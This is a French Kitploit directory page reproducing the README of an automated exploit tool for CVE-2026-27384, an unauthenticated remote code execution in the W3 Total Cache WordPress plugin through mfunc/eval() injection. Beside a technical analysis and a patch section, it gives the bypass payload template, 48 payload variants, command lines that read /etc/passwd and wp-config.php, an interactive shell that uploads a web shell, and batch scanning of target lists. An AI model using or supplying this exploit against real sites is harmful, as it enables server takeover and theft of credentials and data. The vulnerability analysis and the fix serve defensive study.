Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-27384 — Scanner et exploit automatisé pour CVE-2026-27384, une RCE non authentifiée dans W3 Total Cache via injection mfunc/eval(). Fonctionnalités : détection automatique, 48 variantes de payload, shell interactif et scan par lots. | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-27384
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Scanner et exploit automatisé pour CVE-2026-27384, une RCE non authentifiée dans W3 Total Cache via injection mfunc/eval(). Fonctionnalités : détection automatique, 48 variantes de payload, shell interactif et scan par lots.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-27384

CVE-2026-27384 — Scanner RCE mfunc/eval() pour W3 Total Cache

Plugin: W3 Total Cache Plugin Slug: w3-total-cache CVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critique) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Type de vulnérabilité: Exécution de code arbitraire non authentifiée (Injection de code via eval()) Versions affectées: <= 2.9.1 Version corrigée: 2.9.2 Date de publication: 24 février 2026 Chercheur: CODE WHITE GmbH


📌 Résumé de la vulnérabilité

La fonctionnalité Dynamic Fragment Caching du plugin W3 Total Cache (système mfunc/mclude) exécute du code PHP intégré dans des commentaires HTML via eval(). Le token W3TC_DYNAMIC_SECURITY, censé protéger cette fonctionnalité, peut être contourné en combinant plusieurs erreurs de code.

Résultat : Sans nécessiter d'authentification, en soumettant simplement un commentaire WordPress, du code PHP arbitraire peut être exécuté sur le serveur.


🔍 Tableau récapitulatif de la vulnérabilité


⚙️ Analyse technique

Fonctionnalité : mfunc / mclude

La fonctionnalité Dynamic Fragment Caching de W3TC permet aux développeurs d'intégrer du code PHP dans le HTML de la page via des balises de commentaires spéciales :

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC traite ces balises lors de la diffusion de la page depuis le cache : le PHP intégré est exécuté avec eval(), et sa sortie remplace le bloc de commentaire.


Bug 1 — Absence de preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Si le token est '.', l'expression régulière devient <!--\s*mfunc\s*.(.*)--> → n'importe quel caractère unique remplace le token.


Bug 2 — Incompatibilité \s* vs \s+

FonctionPatternComportement
_parse_dynamic() — exécute
root@kitploit:~
Payload de l'attaquant :  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      PAS D'ESPACE entre mfunc et le token

Fonction strip :   \s+ → ne correspond pas → payload RESTE
regex d'exécution :    \s* → correspond  → eval() S'EXÉCUTE

Bug 3 — Validation de token manquante (_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Chaîne d'attaque complète

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (métacaractère regex — n'importe quel caractère)
        │
        ▼
L'attaquant soumet un commentaire :
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  exige \s+, pas d'espace → CONTROURNÉ ✅
        │
        ▼
Le commentaire est enregistré dans la base de données, la page est mise en cache
        │
        ▼
Deuxième requête HTTP → W3TC sert depuis le cache
  _has_dynamic() → mfunc\s*.  → 'A' correspond → renvoie true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' correspond
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE non authentifié ✓

🔴 Impact de l'attaque

Sans authentification, du code PHP arbitraire peut être exécuté sur le serveur avec les privilèges du serveur web :

  • ✅ Prise de contrôle complète du serveur
  • ✅ Lecture/écriture/suppression des fichiers WordPress et de la base de données
  • ✅ Installation d'un web shell / porte dérobée
  • ✅ Pivot vers le réseau interne
  • ✅ Vol d'identifiants, clés API, données utilisateur

🚀 Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 Utilisation

Modes

ModeDescription
autoAnalyser le site → trouver une page de commentaires → exploiter (par défaut)
exploit

Mode Auto — Tout automatisé

root@kitploit:~
python w3tc_rce.py https://hedef.com

Le scanner effectue les actions suivantes :

  1. Vérifie si W3TC est installé
  2. Trouve les pages avec formulaire de commentaires via le sitemap + suivi de liens
  3. Teste 48 variantes de payload sur chaque page
  4. Si réussi, propose d'ouvrir un shell

Mode Exploit — Direct

root@kitploit:~
# commande id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# lire /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# lire wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# ID de publication manuel
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Mode Shell — Interactif

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Lorsque le shell est ouvert, les commandes suivantes sont exécutées automatiquement :

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Commandes : exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Mode Detect — Détection uniquement

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC installé !
    Version : 2.9.1
    Cache  : True
[!] Version 2.9.1 VULNÉRABLE (<= 2.9.1) !

Scan groupé

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

Avec proxy (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Tous les paramètres


💀 Structure du payload

Contournement sans espace mfunc

root@kitploit:~
Tag standard (attrapé par strip) :
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          espace présent → \s+ correspond → strip supprime

Tag de contournement (contourne strip, eval() s'exécute) :
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        pas d'espace → \s+ ne correspond pas → strip IGNORE
                      \s* correspond → eval() S'EXÉCUTE

Base64 Encoding

Le code PHP est encodé en base64 pour éviter les problèmes d'encodage HTML :

root@kitploit:~
# Commande: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 variantes de payload


🔄 Flux d'exploitation

root@kitploit:~
1. Détection W3TC
   └─ readme.txt, header, body, répertoire du plugin

2. Détection du système de commentaires
   └─ HTML form, REST API, post ID

3. Injection du payload (48 variantes)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. Déclenchement du cache
   ├─ 1ère requête → cache miss → rendu de la page → mise en cache
   └─ 2ème requête → cache hit → _parse_dynamic() → eval()

5. Extraction de la sortie
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ Exemples de sorties

Mode Auto

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Cible : https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Page de commentaires : https://hedef.com/?p=1 (post_id=1)

  [1] Détection W3TC...
[+] W3TC trouvé ! Version : 2.9.1
  [2] Détection du système de commentaires...
[+] ID de publication : 1 | Formulaire : True | REST : True
  [3] Injection du payload (id)...
[i] 48 variantes de payload prêtes
  [4] Déclenchement du cache...

[★] RCE RÉUSSI !
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Commande : id
  Sortie   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Résultats enregistrés → w3tc_results.txt
[?] Ouvrir un shell ? (y/n):

Résumé de scan groupé

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 vulnérabilités trouvées !
[+] Résultats enregistrés → w3tc_results.txt

📁 Structure des fichiers

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # Scanner principal
├── requirements.txt   # Dépendances
└── README.md          # Ce fichier

🛡️ Défense / Correctif

MesureDescription
Mise à jour du pluginMettre à jour vers W3 Total Cache 2.9.2+
Désactivation de mfunc

Exemple de token sûr (wp-config.php):

root@kitploit:~
// ❌ Dangereux — métacaractère regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Sûr — alphanumérique
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

Correctif 2.9.2 (_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote ajouté
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (au moins 1 espace)
    ...
);

⚠️ Avertissement légal

Cet outil et ce PoC sont destinés à être utilisés uniquement sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Leur utilisation sur des systèmes non autorisés constitue un crime en vertu des articles 243-245 du Code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'un usage abusif de cet outil.


📄 Licence

Licence MIT — À usage éducatif et de recherche uniquement.


🔗 Références

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
Télécharger l’outil
ChampValeur
CVE IDCVE-2026-27384
CVSS9.8 Critique
TypeCode Injection → RCE (CWE-94)
Version affectée<= 2.9.1
Version corrigée2.9.2
AuthentificationNon requise
Interaction utilisateurNon requise
PrérequisW3TC_DYNAMIC_SECURITY doit contenir un métacaractère regex
mfunc\s*TOKEN
0 espace accepté ✅
strip_dynamic_fragment_tags_from_string() — nettoiemfunc\s+TOKENAu moins 1 espace requis ❌
Exploitation directe — avec l'URL de publication
shellShell interactif
detectDétection W3TC uniquement
ParamètreAbréviationDescriptionDéfaut
url—URL cible unique—
--list-lFichier de liste de cibles—
--mode—Mode de fonctionnementauto
--cmd—Commande à exécuterid
--post-url—URL de la page avec commentaire—
--post-id—WordPress post ID—
--max-pages—Nombre max de pages à crawler50
--threads-tNombre de threads10
--output-oFichier de sortiew3tc_results.txt
--proxy—Proxy URL—
--no-color—Sortie sans couleurFalse
--verbose-vSortie détailléeFalse
GroupeFonctionBypass CharEncoding
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*Toutes les fonctionsA, B, X, 1Brut
La fonctionnalité ne fonctionne pas si W3TC_DYNAMIC_SECURITY n'est pas défini
Token fortLe token ne doit contenir que des caractères alphanumériques ([a-zA-Z0-9_]+)